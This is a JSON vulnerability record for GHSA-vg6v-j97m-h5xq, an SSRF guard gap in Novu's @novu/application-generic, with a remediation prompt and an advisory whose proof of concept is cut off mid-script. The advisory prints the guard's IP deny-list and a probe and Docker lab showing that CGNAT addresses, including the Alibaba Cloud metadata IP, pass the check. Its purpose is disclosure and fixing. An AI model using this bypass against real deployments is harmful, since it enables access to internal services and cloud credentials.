{"answers":{"affected":"2 open source packages ship an affected version, including @novu/application-generic.","exploited":"There is no known exploitation of GHSA-vg6v-j97m-h5xq in the wild and no public exploit code.","fix":"Upgrade @novu/application-generic to 3.17.0 or later.","what":"GHSA-vg6v-j97m-h5xq is a vulnerability in @novu/application-generic, published on 28 Jul 2026."},"fix_prompt":"Check this codebase for GHSA-vg6v-j97m-h5xq and fix it if it is affected.\n\nWhat it is: GHSA-vg6v-j97m-h5xq is a vulnerability in @novu/application-generic, published on 28 Jul 2026. \nExploitation: There is no known exploitation of GHSA-vg6v-j97m-h5xq in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- @novu/application-generic (npm): affected all versions; fixed in 3.17.0\n- @novu/application-generic (npm): affected all versions; fixed in 3.17.0\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-vg6v-j97m-h5xq/ (Markdown: https://insights.sbomify.com/GHSA-vg6v-j97m-h5xq/index.md)","id":"GHSA-vg6v-j97m-h5xq","markdown":"https://insights.sbomify.com/GHSA-vg6v-j97m-h5xq/index.md","name":"GHSA-vg6v-j97m-h5xq","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"Hi Novu team,\n\nReporting an SSRF blocklist gap in the shared `validateUrlSsrf` guard. A complete self-contained reproduction is inlined below — copy the four files into a directory and run `docker compose up`, plus a single-file probe that runs against Node directly. Locally validated against HEAD `291817c`.\n\n## Summary\n\nNovu's shared SSRF guard `validateUrlSsrf(url)` is used before server-side requests to user-configured URLs. The guard resolves hostnames and blocks a regex list of private/reserved IP ranges, but it does not block `100.64.0.0/10` shared address space. As a result, Novu features protected by this guard can still send server-side requests to destinations such as `100.100.100.200` (Alibaba Cloud metadata service) and any other service reachable in `100.64.0.0/10`.\n\n## Affected code\n\nGuard:\n\n- `libs/application-generic/src/utils/ssrf-url-validation.ts`\n  - `isPrivateIp(...)` regex list at lines 9-28\n  - DNS resolution and address validation at lines 55-72\n\nProduct call-sites:\n\n- Workflow HTTP request step: `apps/worker/src/app/workflow/usecases/send-message/execute-http-request-step.usecase.ts` — calls `validateUrlSsrf(url)` at line 149, then uses `HttpClientService` to send the request.\n- Webhook filter condition: `libs/application-generic/src/usecases/conditions-filter/conditions-filter.usecase.ts` — calls `validateUrlSsrf(child.webhookUrl)` at line 265, then sends `axios.post(child.webhookUrl, ...)` at line 277.\n\nHTTP client:\n\n- `libs/application-generic/src/services/http-client/http-client.service.ts` — uses `got(gotOptions)` at lines 120 and 142 after the preflight validation.\n\n## Root cause\n\nThe SSRF guard uses a hand-written regex deny-list:\n\n```ts\n/^0\\.0\\.0\\.0$/i,\n/^127\\./,\n/^10\\./,\n/^172\\.(1[6-9]|2[0-9]|3[01])\\./,\n/^192\\.168\\./,\n/^169\\.254\\./,\n/^::ffff:127\\./i,\n/^::ffff:10\\./i,\n/^::ffff:172\\.(1[6-9]|2[0-9]|3[01])\\./i,\n/^::ffff:192\\.168\\./i,\n/^::ffff:169\\.254\\./i,\n/^::1$/,\n/^fc00:/i,\n/^fe80:/i,\n```\n\nThis list omits `100.64.0.0/10`, also called shared address space or CGNAT. These addresses are not RFC1918 private addresses, but they are also not normal public-internet destinations. Cloud and infrastructure providers commonly use special-use address ranges for metadata and internal services; **Alibaba Cloud metadata is available at `100.100.100.200`**.\n\n## Reproduction — Part 1: unit-level probe (no Docker required)\n\nSave the following file and run with `node novu_ssrf_guard_probe.js`. The script replicates `validateUrlSsrf` from `libs/application-generic/src/utils/ssrf-url-validation.ts` **verbatim** (the `isPrivateIp` regex list is copied as-is) and tests several URL categories.\n\n### `novu_ssrf_guard_probe.js`\n\n```javascript\nconst dns = require('dns/promises');\n\nfunction isPrivateIp(ip) {\n  const privateRanges = [\n    /^0\\.0\\.0\\.0$/i,\n    /^127\\./,\n    /^10\\./,\n    /^172\\.(1[6-9]|2[0-9]|3[01])\\./,\n    /^192\\.168\\./,\n    /^169\\.254\\./,\n    /^::ffff:127\\./i,\n    /^::ffff:10\\./i,\n    /^::ffff:172\\.(1[6-9]|2[0-9]|3[01])\\./i,\n    /^::ffff:192\\.168\\./i,\n    /^::ffff:169\\.254\\./i,\n    /^::1$/,\n    /^fc00:/i,\n    /^fe80:/i,\n  ];\n  return privateRanges.some((range) =\u003e range.test(ip));\n}\n\nasync function validateUrlSsrf(url) {\n  let parsed;\n  try {\n    parsed = new URL(url);\n  } catch {\n    return 'Invalid URL format.';\n  }\n  if (parsed.protocol !== 'http:' \u0026\u0026 parsed.protocol !== 'https:') {\n    return `URL scheme \"${parsed.protocol}\" is not allowed.`;\n  }\n  const hostname = parsed.hostname.toLowerCase();\n  const blockedHostnames = ['localhost', 'metadata.google.internal'];\n  if (blockedHostnames.includes(hostname)) {\n    return `Requests to \"${hostname}\" are not allowed.`;\n  }\n  let addresses;\n  try {\n    addresses = await dns.lookup(hostname, { all: true });\n  } catch {\n    return `Unable to resolve hostname \"${hostname}\".`;\n  }\n  for (const { address } of addresses) {\n    if (isPrivateIp(address)) {\n      return `Requests to private or reserved IP addresses are not allowed (resolved: ${address}).`;\n    }\n  }\n  return null;\n}\n\nasync function main() {\n  for (const url of [\n    'http://127.0.0.1/',\n    'http://0.0.0.0/',\n    'http://0.0.0.1/',\n    'http://169.254.169.254/',\n    'http://100.64.0.1/',\n    'http://100.100.100.200/',\n    'http://224.0.0.1/',\n    'http://[fd00::1]/',\n    'http://[64:ff9b::7f00:1]/',\n    'http://[::ffff:100.64.0.1]/',\n    'http://8.8.8.8/',\n  ]) {\n    console.log(JSON.stringify({ url, verdict: (await validateUrlSsrf(url)) ?? 'ALLOW' }));\n  }\n}\n\nmain().catch((e) =\u003e { console.error(e); process.exitCode = 1; });\n```\n\n### Expected output (relevant lines)\n\n```json\n{\"url\":\"http://127.0.0.1/\",\"verdict\":\"Requests to private or reserved IP addresses are not allowed (resolved: 127.0.0.1).\"}\n{\"url\":\"http://169.254.169.254/\",\"verdict\":\"Requests to private or reserved IP addresses are not allowed (resolved: 169.254.169.254).\"}\n{\"url\":\"http://100.64.0.1/\",\"verdict\":\"ALLOW\"}\n{\"url\":\"http://100.100.100.200/\",\"verdict\":\"ALLOW\"}\n{\"url\":\"http://8.8.8.8/\",\"verdict\":\"ALLOW\"}\n```\n\nThe 2nd and 3rd `ALLOW` rows are the bypass — both are non-public destinations the guard should refuse.\n\n## Reproduction — Part 2: end-to-end Docker CGNAT proof\n\nSave the three files below into a directory, then:\n\n```bash\ndocker compose up --abort-on-container-exit --exit-code-from novu-client\n```\n\nThis mirrors the product sequence in `execute-http-request-step.usecase.ts`: resolve hostname → validate with `validateUrlSsrf` → send HTTP request. The \"target\" container is bound to a CGNAT address (`100.64.0.20`) on a custom subnet, simulando a cloud-internal service reachable on the CGNAT range.\n\n### `docker-compose.yml`\n\n```yaml\nservices:\n  cgnat-target:\n    image: python:3.12-alpine\n    command: python -u /srv/target.py\n    volumes:\n      - ./target.py:/srv/target.py:ro\n    networks:\n      novu-cgnat:\n        ipv4_address: 100.64.0.20\n\n  novu-client:\n    image: node:22-alpine\n    command: node /srv/client.js\n    volumes:\n      - ./client.js:/srv/client.js:ro\n    depends_on:\n      - cgnat-target\n    networks:\n      novu-cgnat:\n        ipv4_address: 100.64.0.10\n\nnetworks:\n  novu-cgnat:\n    ipam:\n      config:\n        - subnet: 100.64.0.0/24\n```\n\n### `target.py`\n\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        print(f\"[target] {self.client_address[0]} POST {self.path}\", flush=True)\n        self.send_response(200)\n        self.send_header(\"content-type\", \"application/json\")\n        self.end_headers()\n        self.wfile.write(b'{\"marker\":\"NOVU_CGNAT_SSRF_OK\"}\\n')\n    def log_message(self, fmt, *args): return\n\nHTTPServer((\"100.64.0.20\", 8080), Handler).serve_forever()\n```\n\n### `client.js`\n\n```javascript\nconst dns = require('dns/promises');\n\nfunction isPrivateIp(ip) {\n  const privateRanges = [\n    /^0\\.0\\.0\\.0$/i, /^127\\./, /^10\\./,\n    /^172\\.(1[6-9]|2[0-9]|3[01])\\./, /^192\\.168\\./, /^169\\.254\\./,\n    /^::ffff:127\\./i, /^::ffff:10\\./i,\n    /^::ffff:172\\.(1[6-9]|2[0-9]|3[01])\\./i,\n    /^::ffff:192\\.168\\./i, /^::ffff:169\\.254\\./i,\n    /^::1$/, /^fc00:/i, /^fe80:/i,\n  ];\n  return privateRanges.some((range) =\u003e range.test(ip));\n}\n\nasync function validateUrlSsrf(url) {\n  const parsed = new URL(url);\n  if (!['http:', 'https:'].includes(parsed.protocol)) return 'bad scheme';\n  if (['localhost', 'metadata.google.internal'].includes(parsed.hostname.toLowerCase())) {\n    return 'blocked hostname';\n  }\n  const addresses = await dns.lookup(parsed.hostname, { all: true });\n  for (const { address } of addresses) {\n    if (isPrivateIp(address)) return `blocked ${address}`;\n  }\n  return null;\n}\n\nasync function waitForTarget(url) {\n  for (let attempt = 0; attempt \u003c 20; attempt += 1) {\n    try {\n      const r = await fetch(url, { method: 'POST' });\n      await r.text();\n      return;\n    } catch (_e) {\n      await new Promise((resolve) =\u003e setTimeout(resolve, 250));\n    }\n  }\n}\n\nasync function main() {\n  const url = 'http://cgnat-target:8080/workflow-http-step';\n  const addresses = await d","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"Hi Novu team, Reporting an SSRF blocklist gap in the shared `validateUrlSsrf` guard.","id":"GHSA-vg6v-j97m-h5xq","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"npm","fixed":["3.17.0"],"introduced":["0"],"last_affected":[],"package":"@novu/application-generic","purl":null,"source":"GHSA-vg6v-j97m-h5xq"},{"ecosystem":"npm","fixed":["3.17.0"],"introduced":["0"],"last_affected":[],"package":"@novu/application-generic","purl":"pkg:npm/%40novu/application-generic","source":"GHSA-vg6v-j97m-h5xq"}],"products":null,"published":"2026-07-28","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/GHSA-vg6v-j97m-h5xq/"}